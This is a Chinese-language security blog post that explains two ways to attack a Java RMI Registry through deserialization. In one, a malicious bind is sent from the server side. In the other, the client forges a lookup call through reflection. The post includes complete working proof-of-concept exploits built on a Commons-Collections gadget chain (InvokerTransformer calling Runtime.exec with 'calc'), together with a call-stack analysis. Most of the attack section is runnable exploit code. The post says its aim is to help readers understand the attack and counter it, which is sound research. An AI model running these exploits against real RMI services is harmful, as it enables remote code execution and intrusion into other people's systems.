RMI攻击Registry的两种方式

2022-11-14 15:26:47 浏览数 (1)

概述

RMI(Remote Method Invocation) :远程方法调用。它使客户机上运行的程序可以通过网络实现调用远程服务器上的对象,要实现RMI,客户端和服务端需要共享同一个接口。

基础

Client 和 Regisry 基于 Stub 和 Skeleton 进行通信,分别对应 RegistryImpl_Stub 和 RegistryImpl_Skel 两个类。

示例

  1. 一个可以远程调用的接口,实现了Remote接口。
代码语言:javascript复制
package pers.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

//定义一个能够远程调用的接口,并且需要扩展Remote接口
public interface RemoteInterface extends Remote {
    public String CaseBegin() throws RemoteException;
    public String CaseBegin(Object demo) throws RemoteException;
    public String CaseOver() throws RemoteException;
}
(向右滑动,查看更多)

  1. 实现了接口的类
代码语言:javascript复制
package pers.rmi;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

//远程可以调用的类,需要继承UnicastRemoteObject类和实现RemoteInterface接口

//也可以指定需要远程调用的类,可以使用UnicastRemoteObject类中的静态方法exportObject指定调用类
public class RemoteObject extends UnicastRemoteObject implements RemoteInterface {
    protected RemoteObject() throws RemoteException {
        super();
    }

    @Override
    public String CaseBegin() {
        return "Hello world!";
    }

    @Override
    public String CaseBegin(Object demo) {
        return demo.getClass().getName();
    }

    @Override
    public String CaseOver() {
        return "Good bye!";
    }
}
(向右滑动,查看更多)

  1. 远程服务端,其中附带了注册中心。
代码语言:javascript复制
package pers.rmi;

import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RemoteServer {
    public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException {
        LocateRegistry.createRegistry(1099);
        //将需要调用的类进行绑定
        //创建远程类
        RemoteObject remoteObject = new RemoteObject();
        //获取注册中心
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        //绑定类
        registry.bind("test", remoteObject);
    }
}
(向右滑动,查看更多)

  1. 尝试构建一个客户端使用RMI协议。
代码语言:javascript复制
package pers.rmi;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class RMIClient {
    public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException {
        RemoteInterface remoteInterface = (RemoteInterface) Naming.lookup("rmi://127.0.0.1:1099/test");
        String s = remoteInterface.CaseBegin();
        System.out.println(s);
    }
}
(向右滑动,查看更多)

能够使用。

Attacks

Registry Attacked By Server

Server 端在执行 bind 或者 rebind 方法的时候会将对象以序列化的形式传输给 Registry,导致Registry在反序列化的时候触发漏洞。

例子:

代码语言:javascript复制
// 一个简单的Registry类,通过while死循环不会退出进程
public class Registry {
    //注册使用的端口
    public static void main(String[] args) throws RemoteException {
        LocateRegistry.createRegistry(1099);
        System.out.println("server start!!");
        while (true);
    }
}

代码语言:javascript复制
// 创建一个Server类,通过bind的调用绑定恶意对象,触发漏洞
public class RegistryAttackedByServer {
    public static void main(String[] args) throws Exception{
        //仿照ysoserial中的写法,防止在本地调试的时候触发命令
        Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(faketransformers);
        Map innerMap = new HashMap();
        Map outMap = LazyMap.decorate(innerMap, transformerChain);

        //实例化
        TiedMapEntry tme = new TiedMapEntry(outMap, "key");
        Map expMap = new HashMap();
        //将其作为key键传入
        expMap.put(tme, "value");

        //remove
        outMap.remove("key");

        //传入利用链
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        //使用动态代理初始化 AnnotationInvocationHandler
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        //创建handler
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, expMap);
        //使用AnnotationInvocationHandler动态代理Remote
        Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, invocationHandler);

        Registry registry = LocateRegistry.getRegistry(1099);
        registry.bind("test", remote);
    }
}
(向右滑动,查看更多)

这里是借用的CC链进行反序列化利用,对于CC链不过多的解释,但是我们在前面的基础实例中,提到了,bind绑定的对象,要求必须要实现了Remote接口,但是在CC链构造的恶意对象是一个HashMap类对象,不满足这个要求。

上面我是们通过动态代理的方式进行封装,根据反序列化的传递性,我们将会调用HashMap#readObject方法。

分析一下调用过程。

首先是在UnicastServerRef#dispatch方法中进行请求的分发。

如果skel不为空的时候,将会调用oldDispatch方法。

因为这里是Registry端,所以,这里是RegistryImpl_Skel类的dispatch调用。

在这个方法中,将会从远程对象中获取输入流,并调用其readObject方法进行反序列化调用。

首先是调用反序列化动态代理类,之后通过传递,触发了封装的HashMap#readObject方法。

调用栈

代码语言:javascript复制
readObject:-1, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, DelegatingMethodAccessorImpl (sun.reflect)
invoke:-1, Method (java.lang.reflect)
invokeReadObject:-1, ObjectStreamClass (java.io)
readSerialData:-1, ObjectInputStream (java.io)
readOrdinaryObject:-1, ObjectInputStream (java.io)
readObject0:-1, ObjectInputStream (java.io)
defaultReadFields:-1, ObjectInputStream (java.io)
defaultReadObject:-1, ObjectInputStream (java.io)
readObject:-1, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, DelegatingMethodAccessorImpl (sun.reflect)
invoke:-1, Method (java.lang.reflect)
invokeReadObject:-1, ObjectStreamClass (java.io)
readSerialData:-1, ObjectInputStream (java.io)
readOrdinaryObject:-1, ObjectInputStream (java.io)
readObject0:-1, ObjectInputStream (java.io)
defaultReadFields:-1, ObjectInputStream (java.io)
readSerialData:-1, ObjectInputStream (java.io)
readOrdinaryObject:-1, ObjectInputStream (java.io)
readObject0:-1, ObjectInputStream (java.io)
readObject:-1, ObjectInputStream (java.io)
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:-1, UnicastServerRef (sun.rmi.server)
dispatch:-1, UnicastServerRef (sun.rmi.server)
(向右滑动,查看更多)

成功利用。

Registry Attacked By Client

一个小知识:对于RegistryImpl_Skel#dispatch方法中进行分发,通过传入的var3变量,使用switch case语句进行分发。

不同的方法进入不同的case语句

  • bind : 0
  • list : 1
  • lookup : 2
  • rebind : 3
  • unbind : 4

对于Client来说,使用的是Registry的lookup方法,进入case 2语句。

这里是能够对传入的对象,进行反序列化的利用,但是不幸的是,因为lookup方法传入的是一个String类型的字符,不能够传入一个对象。

我们定位到RegistryImpl_Stub#lookup方法

在该方法中,对传入的var1进行了序列化处理,之后传入前面提到的逻辑进行反序列化处理,这里我们可以不直接使用lookup方法进行利用,我们按照lookup中的逻辑,构造类似的代码调用,但是在writeObject方法进行序列化的时候,传入一个想要被反序列化的类对象,达到恶意目的。

简单分析一下实现流程。

首先我们需要获取一个Registry对象,

代码语言:javascript复制
Registry registry = LocateRegistry.getRegistry(1099);
(向右滑动,查看更多)

按照上面的lookup方法的写法,调用了super.ref属性的newCall方法,我们看看,这个属性的来源。

根据这个继承关系图,我们可以清楚的知道ref属性的父类RemoteStub的父类RemoteObject类的属性,是一个RemoteRef实例。

我们反射获取这个属性值:

代码语言:javascript复制
Field f1 = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");
f1.setAccessible(true);
RemoteRef ref = (RemoteRef) f1.get(registry);
(向右滑动,查看更多)

之后在lookup方法中ref属性的newCall方法的调用中,传入了一个operations属性,跟踪一下该属性的位置。

就在这个类中就有。

反射获取属性值

代码语言:javascript复制
Field f2 = registry.getClass().getDeclaredField("operations");
f2.setAccessible(true);
Operation[] operations = (Operation[]) f2.get(registry);
(向右滑动,查看更多)

之后就是模拟调用newCall方法,lookup方法中第一个参数是this关键词,这里我们就传入我们前面获取到Registry对象,并序列化我们的Remote代理类。

代码语言:javascript复制
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(remote);
ref.invoke(var2);
(向右滑动,查看更多)

完整的POC

代码语言:javascript复制
package pers.rmi;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ObjectOutput;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteRef;
import java.util.HashMap;
import java.util.Map;

public class RegistryAttackedByClient {
    public static void main(String[] args) throws Exception{
        //仿照ysoserial中的写法,防止在本地调试的时候触发命令
        Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(faketransformers);
        Map innerMap = new HashMap();
        Map outMap = LazyMap.decorate(innerMap, transformerChain);

        //实例化
        TiedMapEntry tme = new TiedMapEntry(outMap, "key");
        Map expMap = new HashMap();
        //将其作为key键传入
        expMap.put(tme, "value");

        //remove
        outMap.remove("key");

        //传入利用链
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        //使用动态代理初始化 AnnotationInvocationHandler
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        //创建handler
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, expMap);
        //使用AnnotationInvocationHandler动态代理Remote
        Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, invocationHandler);

        Registry registry = LocateRegistry.getRegistry(1099);

        Field f1 = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");
        f1.setAccessible(true);
//        UnicastRef ref = (UnicastRef) f1.get(registry);
        RemoteRef ref = (RemoteRef) f1.get(registry);

        Field f2 = registry.getClass().getDeclaredField("operations");
        f2.setAccessible(true);
        Operation[] operations = (Operation[]) f2.get(registry);

        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(remote);
        ref.invoke(var2);
    }
}
(向右滑动,查看更多)

同样开启一个死循环的Registry注册端。

总结

这里分别对攻击Registry的两种方式进行了原理分析,便于理解如何对这类攻击进行反制利用。

Ref:

https://www.anquanke.com/post/id/257452

0 人点赞